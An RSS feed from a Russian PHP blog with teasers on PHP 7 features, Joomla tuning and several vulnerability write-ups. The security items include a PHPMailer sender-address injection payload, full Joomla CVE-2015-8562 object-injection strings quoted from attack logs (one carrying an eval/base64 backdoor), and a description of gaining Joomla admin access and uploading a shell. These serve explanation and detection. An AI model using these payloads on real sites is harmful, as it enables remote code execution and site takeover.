<?xml version="1.0" encoding="WINDOWS-1251"?>
<!-- Generated on Fri, 24 Apr 2026 00:42:15 +0300 -->
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <atom:link href="https://xc.skillz.ru/index.php" rel="self" type="application/rss+xml" />
    <title>Последние статьи</title>
    <link>http://xc.skillz.ru/?id=129&amp;m=rss</link>
    <description></description>
    <language>ru-ru</language>
    <generator>skillz cms</generator>
    <item>
      <title>Подарок на новый год! CVE-2016-10033 + CVE-2016-10045</title>
      <description>К новому году опубликована уязвимость, позволяющая выполнить произвольный удаленный код на на любых php сайтах с формами обратной связи. Эксплуатируется вызов функции mail в популярных библиотеках PHPMailer, SwiftMailer.&lt;br /&gt;
&lt;br /&gt;
Началось все с исправления уязвимости CVE-2016-10033 в PHPMailer 5.2.17: добавили экранирование переменной $sender функцией escapeshellarg() перед вызовом функции mail(). Однако, не учли что использование функции экранирования escapeshellarg() может конфликтовать с escapeshellcmd(), которая применяется для пятого параметра саймой функцией mail(). В результате мы получим неэкранированную последовательность, которая передается параметром к системному вызову mail, что ведет к возможности выполнения любой шелл команды.&lt;br /&gt;
&lt;br /&gt;
Например:&lt;br /&gt;
&lt;br /&gt;
&lt;div class='code'&gt;&lt;code data-language=&quot;php&quot; class=&quot;lang-php&quot;&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$mail&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #004000;&quot;&gt;SetFrom&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;Attacker&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\\&lt;/span&gt;' -Param2 -Param3&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;@test.com&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;'Client Name'&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;</description>
      <link>http://xc.skillz.ru/dev/php/article-phpmailer-sendmail-cve-2016-10033-cve-2016-10045.html</link>
      <pubDate>Fri, 30 Dec 2016 13:15:53 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>Эксплойт для Joomla 3.4.4 - 3.6.4 (CVE-2016-8869 and CVE-2016-8870)</title>
      <description>Две уязвимости в джумле позволяют получить админский доступ и в свою очередь залить файл шелла через медиа менеджер.&lt;br /&gt;
&lt;br /&gt;
1. В com_users:user.register не осуществляется должная валидация данных. Злоумышленник может зарегистрировать пользователя с правами админа. Важно чтобы на сайте была включена регистрация, иначе в joomla 3.6.3 (и возможно более ранних) созданный пользователь не сможет быть активирован.&lt;br /&gt;
&lt;br /&gt;
2. Проблема с вайтлистом в медиа менеджере&lt;br /&gt;
&lt;br /&gt;
Медиаменеджер в джумле имеет белый список загружаемых файлов (и их типов). По-умолчанию он не позволяет загружать файлы с расширением &amp;quot;.php, .phtml&amp;quot; или содержащие &amp;quot;&amp;lt;?php&amp;quot;. Однако позволят загрузить файлы содержащие &amp;lt;?= с расширением .pht. Файлы .pht по-умолчанию включены на всех apache серверах с mod_php в ubuntu =&amp;gt; могут быть загружены и запущены!&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;/images/cve-2016-8869/admin.png&quot; alt=&quot;CVE-2016-8869 and CVE-2016-8870&quot; border=&quot;0&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;genofftop&quot;&gt;Код эксплойта в продолжении&lt;/span&gt;</description>
      <link>http://xc.skillz.ru/dev/php/article-joomla-344-346-cve-2016-8869-cve-2016-8870-exploit.html</link>
      <pubDate>Thu, 10 Nov 2016 17:10:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>PHP 7.1 - Что нового</title>
      <description>&lt;strong&gt;Nullable types&lt;/strong&gt; (типы допускающие возможность использования null)&lt;br /&gt;
&lt;br /&gt;
Ранее в PHP 7.0 появилась возможность указать тип передаваемых/возвращаемых значений, однако строгая типизация недопускала использование null в качестве значения параметра, как это делается в других языках.&lt;br /&gt;
&lt;br /&gt;
В 7.1 для указания допустимости null-значений перед типом параметра указывается &amp;quot;&lt;strong&gt;?&lt;/strong&gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;div class='code'&gt;&lt;code data-language=&quot;php&quot; class=&quot;lang-php&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;function&lt;/span&gt; f01&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;int &lt;span style=&quot;color: #0000ff;&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span style=&quot;color: #990000;&quot;&gt;var_dump&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;function&lt;/span&gt; f02&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;?int &lt;span style=&quot;color: #0000ff;&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; ?int &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span style=&quot;color: #990000;&quot;&gt;var_dump&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
f01&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #cc66cc;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;// int(10)&lt;/span&gt;&lt;br /&gt;
f01&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;// TypeError: Argument 1 passed to f01() must be of the type integer, null given&lt;/span&gt;&lt;br /&gt;
f02&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #cc66cc;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;// int(10)&lt;/span&gt;&lt;br /&gt;
f02&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;// null&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;</description>
      <link>http://xc.skillz.ru/dev/php/article-php71-whats-new.html</link>
      <pubDate>Tue, 27 Sep 2016 16:24:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>Долгая синхронизации FireFox, жор CPU+HDD</title>
      <description>Пользую Firefox с первых версий. Браузер запускается с портативного usb диска.&lt;br /&gt;
С недавних пор появилась проблема - при синхронизации закладок фф стал отъедать 25%CPU (т.е. одно ядро моего i2500).  При этом усиленными темпами пытался записать что-то на диск (30Мб/c).  Процедура продолжалась порядка 15 минут, далее - ошибка синхронизации. Все повторялось с интервалом в 10 минут. На это время можно забыть про FF - его UI становился не юзабельным (тупо лагал).  &lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;/images/201512/ffsync/firefox-sync-cpu-usage.png&quot; border=&quot;0&quot; /&gt;</description>
      <link>http://xc.skillz.ru/dev/m1sc/article-firefox-sync-error-with-high-cpu-hdd-usage.html</link>
      <pubDate>Thu, 21 Jan 2016 10:04:00 +0300</pubDate>
      <author>surg30n</author>
      <category>Разное</category>
    </item>
    <item>
      <title>Разбор уязвимости Joomla CVE-2015-8562</title>
      <description>&lt;strong&gt;20151201 Core / Remote Code Execution Vulnerability&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Позволяет злоумышленнику выполнить произвольный код. За последний месяц в джумле нашли две критические уязвимости. Последняя распространяется на все версии системы начиная с 1.5.0 и до 3.4.5. Кто-то мог эксплуатировать эту дыру около 8 лет, 8 лет Карл!.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Атакован ли ваш сайт?&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Можно определить, посмотрев логи:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class='code'&gt;&lt;code data-language=&quot;bash&quot; class=&quot;lang-bash&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;var&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;log&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;httpd $ &lt;span style=&quot;color: #c20cb9; font-weight: bold;&quot;&gt;grep&lt;/span&gt; JDatabaseDriverMysqli &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;*&lt;/span&gt;.log&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
access.log:71.19.248.201 - - &lt;span style=&quot;color: #7a0874; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;Dec&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2015&lt;/span&gt;:&lt;span style=&quot;color: #000000;&quot;&gt;17&lt;/span&gt;:03:05 +0300&lt;span style=&quot;color: #7a0874; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;GET / HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;301&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;239&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;}__test|O:21:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;JDatabaseDriverMysqli&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:3:{s:2:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;fc&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;O:17:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;JSimplepieFactory&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:0:{}s:21:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;\\0\\0\\0disconnectHandlers&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;; a:1:{i:0;a:2:{i:0;O:9:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;SimplePie&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:5:{s:8:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;sanitize&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;O:20:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;JDatabaseDriverMysql&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:0:{}s:8:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;feed_url&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;s:37:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;phpinfo();JFactory::getConfig();exit;&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;; s:19:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;cache_name_function&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;s:6:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;assert&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;s:5:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;cache&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;b:1;s:11:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;cache_class&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;O:20:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;JDatabaseDriverMysql&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:0:{}}i:1;s:4:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;init&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;}}s:13:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;\\0\\0\\0connection&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;b:1;}\xf0\x9d\x8c\x86&amp;quot;&lt;/span&gt;&lt;br /&gt;
access.log:89.234.157.254 - - &lt;span style=&quot;color: #7a0874; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;Dec&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2015&lt;/span&gt;:08:&lt;span style=&quot;color: #000000;&quot;&gt;23&lt;/span&gt;:06 +0300&lt;span style=&quot;color: #7a0874; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;GET / HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;200&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;16603&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;}__test|O:21:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;JDatabaseDriverMysqli&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:3:{s:2:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;fc&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;O:17:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;JSimplepieFactory&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:0:{}s:21:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;\\0\\0\\0disconnectHandlers&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;; a:1:{i:0;a:2:{i:0;O:9:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;SimplePie&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:5:{s:8:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;sanitize&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;O:20:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;JDatabaseDriverMysql&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:0:{}s:8:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;feed_url&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;s:60:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;eval(base64_decode(&lt;span style=&quot;color: #007800;&quot;&gt;$_POST&lt;/span&gt;[111]));JFactory::getConfig();exit;&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;; s:19:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;cache_name_function&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;s:6:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;assert&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;s:5:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;cache&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;b:1;s:11:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;cache_class&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;O:20:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;JDatabaseDriverMysql&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;:0:{}}i:1;s:4:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;init&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;}}s:13:&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;\\0\\0\\0connection&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\&amp;quot;&lt;/span&gt;;b:1;}\xf0\x9d\x8c\x86&amp;quot;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;br /&gt;
Уязвимость заключается в отсутствии должной фильтрации данных пользователя (заголовки user-agent и x-forwarded-for). Данные сохраняются в базу данных в сериализованном виде обработчиком сессий. Из-за бага обработки UTF8 строк Mysql, при сохранении данные обрезаются, позволяя внедрить произвольный объект (выполнить код) в массив $_SESSION при чтении данных сессии из бд.&lt;br /&gt;
</description>
      <link>http://xc.skillz.ru/dev/php/article-Joomla-remote-code-vulnerability-cve-2015-8562.html</link>
      <pubDate>Thu, 17 Dec 2015 14:14:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>Тестирование скорости популярных PHP фреймворков</title>
      <description>Тестирование &amp;quot;Привет мира&amp;quot; на базе популярных PHP фреймворков. &lt;br /&gt;
&lt;br /&gt;
Конфигурация системы CentOS 6.6 64bit (VM; VirtualBox)&lt;br /&gt;
    PHP 5.5.30 (Remi RPM) Zend OPcache v7.0.4-dev с включенными phalcon.so и ice.so&lt;br /&gt;
    Apache 2.2&lt;br /&gt;
&lt;br /&gt;
Запускаются скрипты с настройками по умолчанию, без тюнинга. &lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;/images/201512/framework-bench-01.png&quot; border=&quot;0&quot; /&gt;</description>
      <link>http://xc.skillz.ru/dev/php/article-popular-php-frameworks-benchmarks.html</link>
      <pubDate>Wed, 02 Dec 2015 17:08:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>PHP 7: миграция с PHP 5.X</title>
      <description>Релиз PHP 7.0.0 состоялся 3.12.2015.&lt;br /&gt;
&lt;br /&gt;
Основные моменты, из-за которых старый код не будет работать:&lt;br /&gt;
&lt;br /&gt;
1. Унифицированный синтаксис &lt;br /&gt;
&lt;br /&gt;
Выражение $foo-&amp;gt;$bar['baz']() раньше означало  $foo-&amp;gt;{$bar['baz']}(), сейчас интерпретируется слева-направо:  ($foo-&amp;gt;$bar)['baz']()&lt;br /&gt;
&lt;br /&gt;
2. Удаление устаревших расширений&lt;br /&gt;
&lt;br /&gt;
mysql, ereg...</description>
      <link>http://xc.skillz.ru/dev/php/article-PHP-7-migration-from-PHP-5.html</link>
      <pubDate>Mon, 23 Nov 2015 11:21:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>PHP 7: Что нового. часть 2</title>
      <description>&lt;h3&gt;Функции CSPRNG&lt;/h3&gt;&lt;br /&gt;
&lt;span class=&quot;genofftop&quot;&gt;Криптографически стойкий генератор псевдослучайных чисел (англ. Cryptographically secure pseudorandom number generator, CSPRNG)&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Новведение добавляет две новых функции для генерации криптографически стойких целых чисел и строк.&lt;br /&gt;
Функции работают одинаково на всех платформах.&lt;br /&gt;
&lt;br /&gt;
&lt;div class='code'&gt;&lt;code data-language=&quot;php&quot; class=&quot;lang-php&quot;&gt;string random_bytes&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;int length&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;
int random_int&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;int &lt;span style=&quot;color: #990000;&quot;&gt;min&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; int &lt;span style=&quot;color: #990000;&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Обе функции сгенерируют исключение `Error`, если источник необходимой случайности будет не найден.</description>
      <link>http://xc.skillz.ru/dev/php/article-php7-whats-new-part-2.html</link>
      <pubDate>Fri, 20 Nov 2015 22:23:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>PHP7 - изменения в foreach </title>
      <description>В PHP5 присутствует неоднозначность в работе foreach, которая возникает из-за манипуляции с внутренним указателем массива или модификации элементов массива, который перебирается в foreach.&lt;br /&gt;
&lt;br /&gt;
Поведение foreach может зависить от ссылочного счетчика или типа итерируемого объекта - является он значением или ссылкой.&lt;br /&gt;
&lt;br /&gt;
Вот несколько примеров foreach&lt;br /&gt;
&lt;br /&gt;
1. Неработающий current() &lt;br /&gt;
2. unset() может исключить элемент из перебора, а может и нет</description>
      <link>http://xc.skillz.ru/dev/php/article-php7-foreach.html</link>
      <pubDate>Fri, 20 Nov 2015 21:57:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>PHP 7: Что нового. часть 1</title>
      <description>Релиз PHP 7 запланирован на конец ноября 2015 года.&lt;br /&gt;
В новой версии PHP появились интересные синтаксические плюшки, новые функции&lt;br /&gt;
а также самые долгожданные изменения коснулись ядра интерпретатора - проект phpng, увеличивает скорость&lt;br /&gt;
обработки скриптов практически вдвое по сравнению с PHP 5.x, плюс более эффективный менеджер памяти.&lt;br /&gt;
 &lt;br /&gt;
&lt;img src=&quot;/images/php7/bench.png&quot; border=&quot;0&quot; /&gt;</description>
      <link>http://xc.skillz.ru/dev/php/article-php7-whats-new.html</link>
      <pubDate>Fri, 20 Nov 2015 11:50:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>Joomla фейковая панель администратора</title>
      <description>Подойдет для сайтов НЕ использующих Joomla -&lt;br /&gt;
для отслеживания подборов паролей и бана неправильных пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;genofftop&quot;&gt;для защиты от брутфорса реальной админки лучше использовать fail2ban / mod_security / etc&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Для установки скрипта достаточно скопировать его в корень сайта в папку /administrator.&lt;br /&gt;
При вводе любого пароля скрипт дополнит лог файл log.txt, а пользователю покажется ошибка с фейспалмом на заднем плане.&lt;br /&gt;
Жаль роботы его не оценят.</description>
      <link>http://xc.skillz.ru/dev/php/article-joomla-fake-administrator-bruteforce.html</link>
      <pubDate>Thu, 19 Nov 2015 13:57:45 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>Joomla 3.4 - Оптимизируем системный плагин кэширования страниц </title>
      <description>Джумла в базовой версии имеет выключенный плагин кэширования для страниц (целиком).&lt;br /&gt;
Если сайт изменяется не часто, но медленно работает - имеет смысл включть данный плагин.&lt;br /&gt;
&lt;br /&gt;
Алгоритм работы этого плагина: слушаем события&lt;br /&gt;
&lt;br /&gt;
onAfterInitialise - смотрим есть ли кэш данной страницы, если есть отдаем клиенту, завершаем работу&lt;br /&gt;
onAfterRender - кэшируем содержание страницы, если она не прописана в исключениях &lt;br /&gt;
&lt;br /&gt;
После включения не замечаем прибавки в скорости генерации страницы?</description>
      <link>http://xc.skillz.ru/dev/php/article-joomla-page-cache-plugin-minify-css-js.html</link>
      <pubDate>Thu, 19 Nov 2015 13:40:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>Скрипт мониторинга цен яндекс маркета</title>
      <description>Скрипт мониторинга цен с яндекс маркета.&lt;br /&gt;
При запуске скрипт загружает список товаров из файлов excel (в папке /sheets/*.xlsx).&lt;br /&gt;
Для каждого товара на втором листе должен быть указан идентификатор (http://market.yandex.ru/product/{8229520}/)&lt;br /&gt;
Далее скрипт обращается к яндекс маркету и достает мин и мак цены на товар. &lt;br /&gt;
В таблицу записывается средняя цена.&lt;br /&gt;
&lt;br /&gt;
Обновлятор можно повесить на крон/планировщик.&lt;br /&gt;
Для папки cache требуются права на запись.&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;/downloads/uploads/ymon.png&quot; border=&quot;0&quot; /&gt;</description>
      <link>http://xc.skillz.ru/dev/php/article-script_monitoringa_cen_yandex_marketa.html</link>
